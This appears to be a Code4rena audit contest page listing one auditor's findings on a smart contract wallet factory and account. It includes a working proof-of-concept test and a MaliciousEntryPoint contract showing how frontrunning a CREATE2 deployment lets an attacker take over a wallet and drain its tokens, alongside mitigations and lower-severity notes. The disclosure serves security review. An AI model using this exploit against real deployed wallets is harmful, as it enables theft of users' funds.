Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 30/105
Findings: 2
Award: $387.27
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0x1f8b, 0x73696d616f, 0xdeadbeef0x, BClabs, HE1M, Haipls, Jayus, Kalzak, Lirios, Qeew, V_B, adriro, ast3ros, aviggiano, betweenETHlines, bin2chen, chaduke, dragotanqueray, ey88, giovannidisiena, hihen, horsefacts, ladboy233, wait, zaskoh
26.2582 USDC - $26.26
The SmartAccountFactory
contract is responsible for deploying new smart account wallets. It exposes a deployCounterFactualWallet
function that deploys a new wallet to a deterministic address using CREATE2
, as well as a deployWallet
function that uses CREATE
.
SmartAccountFactory#deployCounterFactualWallet
function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy) { bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index)))); bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); // EOA + Version tracking emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index); BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler); isAccountExist[proxy] = true; }
These factory deployment functions are public, and any caller may deploy a new wallet on behalf of any owner, by passing their address as the _owner
argument.
A wallet's deterministic address is a function of 1) the factory contract's address, 2) a salt consisting of the hashed concatenation of the wallet's _owner
and a numeric _index
, and 3) the creation code of the Proxy
contract. Since the factory contract address and Proxy
code are fixed once deployed, a new wallet's address depends on the caller-provided _owner
and _index
parameters used to construct the CREATE2
salt.
Note that the salt does not include the _entryPoint
or _handler
addresses that are used to initialize the cloned smart account contract. This means smart wallets deployed with the same owner and index, but different entrypoint contracts and fallback handlers will be deployed to the same deterministic address.
An adversary can watch the mempool for legitmate wallet deployments and frontrun them, replacing the entrypoint or handler with a malicious contract under their control. A wallet deployed by an adversary will have the same deterministic address as a wallet deployed with legitimate dependencies, and emit the same SmartAccountCreated
event with the same parameters as a legitimate deployment.
Since the entry point contract is authorized to execute arbitrary calls from the smart account, this gives the adversary full control over the smart account.
A malicious fallback handler contract can also be exploited to make calls from the smart account to an arbitrary contract controlled by the attacker. (For example, passing an ERC20 token as the fallback handler).
Note that the end user's legitimate deployment transaction will fail in this scenario, so it's possible for users to detect this attack.
There is a lot of latitude here for creative attacks, and the worst case impact is significant, so I consider this high risk.
it("Wallet factory deployment frontrunning", async () => { // Mallory wants to exploit newly deployed smart wallets. const mallory = accounts[5]; // Mallory deploys a malicious entry point contract. Since the // entrypoint has privileged access to execute transactions on // behalf of the wallet owner, she will have full control over // any wallet created with her malicious entrypoint. const MaliciousEntryPoint = await ethers.getContractFactory( "MaliciousEntryPoint" ); const maliciousEntryPoint = await MaliciousEntryPoint.deploy(); await maliciousEntryPoint.deployed(); // The deterministic address of a given wallet does *not* depend on // the entrypoint or fallback handler address. It depends only on the // owner, index, and creation code of the proxy contract. This means // a wallet deployed with Mallory's malicious contract as its entrypoint // will have the same address as a wallet deployed with legitimate dependencies. const expectedAddress = await walletFactory.getAddressForCounterfactualWallet( owner, 0 ); // Mallory watches for a legitimate deployment transaction and frontruns it, // replacing the transaction's entrypoint argument with the address of her // malicious contract. Since there are no restrictions on the caller, // anyone can deploy a wallet for any other address. The malicious deploy // will emit the same event with the same parameters as a legitimate deploy. expect( walletFactory.deployCounterFactualWallet( owner, maliciousEntryPoint.address, handler.address, 0 ) ) .to.emit(walletFactory, "SmartAccountCreated") .withArgs(expectedAddress, baseImpl.address, owner, VERSION, 0); // The original deploy transaction will revert with an error when it // attempts to deploy to the same address. (Note that this expectation // verifies that the malicious wallet and legitimate wallet are generated // with the same counterfactual address). // If the end user ignores the failed tx, or the off chain UI is listening // for the "SmartAccountCreated" event, it will now appear as if the // user's wallet has been deployed. expect( walletFactory.deployCounterFactualWallet( owner, entryPoint.address, handler.address, 0 ) ).to.be.revertedWith("Create2 call failed"); userSCW = await ethers.getContractAt( "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", expectedAddress ); // According to the factory, a smart wallet now exists with the // expected address: expect(await walletFactory.isAccountExist(expectedAddress)).to.eq(true); // ...and the expected account is its owner. expect(await userSCW.owner()).to.equal(owner); // However, as soon as tokens are sent to the safe... console.log("sending tokens to the safe.."); await token .connect(accounts[0]) .transfer(userSCW.address, ethers.utils.parseEther("100")); expect(await token.balanceOf(userSCW.address)).to.eq( ethers.utils.parseEther("100") ); // Mallory can use her malicious entrypoint to steal them. // Stealing tokens is just one example, but Mallory has full // control to execute any transaction from the smart account. await maliciousEntryPoint .connect(mallory) .exec( userSCW.address, token.address, 0, token.interface.encodeFunctionData("transfer", [ mallory.address, ethers.utils.parseEther("100"), ]), 0, ethers.constants.MaxUint256 ); expect(await token.balanceOf(userSCW.address)).to.eq( ethers.utils.parseEther("0") ); expect(await token.balanceOf(mallory.address)).to.eq( ethers.utils.parseEther("100") ); });
MaliciousEntryPoint.sol
:
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.12; import "../common/Enum.sol"; interface ISmartAccount { function execFromEntryPoint( address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit ) external returns (bool success); } contract MaliciousEntryPoint { function exec( address wallet, address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit ) external returns (bool) { return ISmartAccount(wallet).execFromEntryPoint( dest, value, func, operation, gasLimit ); } }
There are several ways to mitigate this attack. Any or all of the following are possible options:
A. Include the entrypoint and handler address as components of the CREATE2
salt:
bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index)), _entryPoint, _handler));
Wallets with different entrypoints will generate different addresses.
B. Prevent third party callers from deploying a smart account on behalf of another user, and use msg.sender
as the owner address when deploying a new smart account. Alternatively, require a valid signature from the _owner
as an argument to the deployment function to authorize a third party deployment.
C. Use an allowlist to track authorized entrypoint and handler addresses and revert deployments that attempt to deploy with unknown addresses.
Additionally, log the _entryPoint
and _handler
addresses in the SmartAccountCreated
event, which makes this attack easier to detect.
Finally, consider how your frontend UI would display a malicious wallet created in this scenario, and whether or not it would be visible to the end user.
#0 - c4-judge
2023-01-17T07:45:13Z
gzeon-c4 marked the issue as duplicate of #460
#1 - c4-sponsor
2023-01-26T06:28:26Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:25:28Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: 0xSmartContract
Also found by: 0x1f8b, 0xAgro, 0xdeadbeef0x, 0xhacksmithh, 2997ms, Atarpara, Bnke0x0, Diana, HE1M, IllIllI, Josiah, Kalzak, Lirios, MalfurionWhitehat, MyFDsYours, Raiders, RaymondFam, Rolezn, SaharDevep, Sathish9098, Udsen, Viktor_Cortess, adriro, ast3ros, betweenETHlines, btk, chaduke, chrisdior4, cryptostellar5, csanuragjain, giovannidisiena, gz627, hl_, horsefacts, joestakey, juancito, ladboy233, lukris02, nadin, oyc_109, pauliax, peanuts, prady, sorrynotsorry, zaskoh
361.0144 USDC - $361.01
SmartAccount
: Initialize implementation contractSmartAccount
has an unprotected intializer that can be called by anyone to claim ownership of the contract.
// init // Initialize / Setup // Used to setup // i. owner ii. entry point address iii. handler function init(address _owner, address _entryPointAddress, address _handler) public override initializer { require(owner == address(0), "Already initialized"); require(address(_entryPoint) == address(0), "Already initialized"); require(_owner != address(0),"Invalid owner"); require(_entryPointAddress != address(0), "Invalid Entrypoint"); require(_handler != address(0), "Invalid Entrypoint"); owner = _owner; _entryPoint = IEntryPoint(payable(_entryPointAddress)); if (_handler != address(0)) internalSetFallbackHandler(_handler); setupModules(address(0), bytes("")); }
Since clones are deployed and initialized atomically through SmartAccountFactory
, this is not an issue, but it's important to initialize the implementation contract itself. If the implementation is left unitialized, anyone can claim ownership and destroy the contract, destroying any deployed smart accounts.
One simple way to prevent intialization of an implementation using OpenZeppelin Initializable
is to call _disableInitializers()
in the constructor:
constructor() { _disableInitializers(); }
Alternatively, initialize the implementation contract yourself as part of deployment. Ideally, do so atomically in a single transaction using a multicall or deployer contract. (Otherwise, there's still a risk that the initialization transaction could be frontrun). Note that the current Hardhat deployment scripts in this repository do not initialize the implementation contract.
SmartAccount
: Users can destroy their smart account with delegatecall
It's possible for users to destroy their smart wallets by delegatecall
ing a function that calls selfdestruct
via SmartAccount#execute
.
In a multisig wallet with multiple signers, requireing multiple reviews and approvals for each transaction help detect and mitigate accidentally destructive actions. Since smart accounts have a single signer, the risk of accidentally destroying a wallet is much higher. Make sure any use of delegatecall
is clearly flagged in the UI, warn or prevent delegatecall
to unkown contracts, and consider removing this ability altogether.
SmartAccount
: Users can overwrite sensitive storage variables with delegatecall
Similar to the previous finding, it's possible for users to overwrite important storage variables like owner
, _initialized
, and _entryPoint
by delegatecall
ing functions on a contract with an overlapping storage layout. Make sure any use of delegatecall
is clearly flagged in the UI, and consider removing this ability altogether.
SmartAccount
: Missing reentrancy guard initializerOpenZeppelin ReentrancyGuardUpgradeable
includes an initializer, but this function is not called in SmartAccount#init
:
// init // Initialize / Setup // Used to setup // i. owner ii. entry point address iii. handler function init(address _owner, address _entryPointAddress, address _handler) public override initializer { require(owner == address(0), "Already initialized"); require(address(_entryPoint) == address(0), "Already initialized"); require(_owner != address(0),"Invalid owner"); require(_entryPointAddress != address(0), "Invalid Entrypoint"); require(_handler != address(0), "Invalid Entrypoint"); owner = _owner; _entryPoint = IEntryPoint(payable(_entryPointAddress)); if (_handler != address(0)) internalSetFallbackHandler(_handler); setupModules(address(0), bytes("")); }
This does not have a security impact, since the reentrancy guard will be correctly applied on the first re-entrant call, but it doesmake the first re-entrant call more expensive.
Suggestion:
// init // Initialize / Setup // Used to setup // i. owner ii. entry point address iii. handler function init(address _owner, address _entryPointAddress, address _handler) public override initializer { require(owner == address(0), "Already initialized"); require(address(_entryPoint) == address(0), "Already initialized"); require(_owner != address(0),"Invalid owner"); require(_entryPointAddress != address(0), "Invalid Entrypoint"); require(_handler != address(0), "Invalid Entrypoint"); __ReentrancyGuard_init(); owner = _owner; _entryPoint = IEntryPoint(payable(_entryPointAddress)); if (_handler != address(0)) internalSetFallbackHandler(_handler); setupModules(address(0), bytes("")); }
SmartAccountFactory
: Missing SmartAccountCreated
event in deployWallet
SmartAccountFactory#deployCounterFactualWallet
emits a SmartAccountCreated
event that logs information about the newly created smart wallet, but deployWallet
omits this event:
SmartAccountFactory#deployWallet
function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){ bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create(0x0, add(0x20, deploymentData), mload(deploymentData)) } BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler); isAccountExist[proxy] = true; }
Suggested:
function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){ bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create(0x0, add(0x20, deploymentData), mload(deploymentData)) } emit SmartAccountCreated(proxy, _defaultImpl, _owner, VERSION, _index); BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler); isAccountExist[proxy] = true; }
Additionally, consider adding _entrypoint
and _handler
as parameters to the SmartAccountCreated
event.
SmartAccount
: Prefer block.chainid
to inline assemblySmartAccount#getChainId
uses inline assembly to read the current chain ID:
/// @dev Returns the chain id used by this contract. function getChainId() public view returns (uint256) { uint256 id; // solhint-disable-next-line no-inline-assembly assembly { id := chainid() } return id; }
In solidity 0.8.12, the block
global includes a chainid
member that returns the current chain ID without the need for inline assembly.
Suggestion:
/// @dev Returns the chain id used by this contract. function getChainId() public view returns (uint256) { return block.chainid; }
LibAddress
: Prefer address.code.length
to inline assemblyLibAddress#isContract
uses inline assembly to read the codesize of a given address:
function isContract(address account) internal view returns (bool) { uint256 csize; // solhint-disable-next-line no-inline-assembly assembly { csize := extcodesize(account) } return csize != 0; }
In solidity 0.8.12, the address
type includes a code
member with a length
attribute that returns its codesize without the need for inline assembly. (Under the hood this uses the EXTCODESIZE
opcode directly and is equivalent to the assembly above).
Suggestion:
function isContract(address account) internal view returns (bool) { return account.code.length != 0; }
SmartAccount
: Typo in initializer revert stringThe revert string for "Invalid Handler" accidentally duplicates the error message for "Invalid Entrypoint."
// init // Initialize / Setup // Used to setup // i. owner ii. entry point address iii. handler function init(address _owner, address _entryPointAddress, address _handler) public override initializer { require(owner == address(0), "Already initialized"); require(address(_entryPoint) == address(0), "Already initialized"); require(_owner != address(0),"Invalid owner"); require(_entryPointAddress != address(0), "Invalid Entrypoint"); require(_handler != address(0), "Invalid Entrypoint"); owner = _owner; _entryPoint = IEntryPoint(payable(_entryPointAddress)); if (_handler != address(0)) internalSetFallbackHandler(_handler); setupModules(address(0), bytes("")); }
Executor
: Index to
addressesThe Executor
contract extends the Gnosis Executor
contract with additional ExecutionFailure
and ExecutionSuccess
events:
event ExecutionFailure(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas); event ExecutionSuccess(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas);
Consider indexing the to
address in these events, to enable filtering for all transactions to a specific destination address.
FallbackManager
, Singleton
, Proxy
: Inconsistent calculation of storage slotsFallbackManager
, Proxy
, and Singleton
all use a keccak hash to generate a deterministic, unallocated storage slot. However, FallbackManager
is inconsistent with the other two, since it does not subtract one from the hash value. It's a good practice to subtract 1 from the hash value to ensure that the storage slot is not associated with a known hash preimage. (See EIP-1967 for more).
// keccak256("fallback_manager.handler.address") bytes32 internal constant FALLBACK_HANDLER_STORAGE_SLOT = 0x6c9a6c4a39284e37ed1cf53d337577d14212a4870fb976a4366c693b939918d5;
/* This is the keccak-256 hash of "biconomy.scw.proxy.implementation" subtracted by 1, and is validated in the constructor */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x37722d148fb373b961a84120b6c8d209709b45377878a466db32bbc40d95af26;
/* This is the keccak-256 hash of "biconomy.scw.proxy.implementation" subtracted by 1 */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x37722d148fb373b961a84120b6c8d209709b45377878a466db32bbc40d95af26;
Enum
: Declare enum outside of contractIn Solidity 0.8.12, it's not necessary to declare enums inside a contract. Consider declaring the Operation
enum outside the contract and importing it wherever it's used, rather than via inheritance.
Enum
:
/// @title Enum - Collection of enums contract Enum { enum Operation {Call, DelegateCall} }
Suggestion:
enum Operation {Call, DelegateCall}
SmartAccountFactory
: isAccountExist
will return true
for destroyed walletsIt's possible for the owner of a smart account wallet to intentionally destroy it with a delegatecall that calls selfdestruct
. In this scenario, isAccountExist
will return true
for destroyed smart wallets. It's not clear how this function will be used, but be aware of this possibility.
#0 - c4-judge
2023-01-22T15:36:50Z
gzeon-c4 marked the issue as grade-a
#1 - c4-sponsor
2023-02-09T12:32:25Z
livingrockrises marked the issue as sponsor confirmed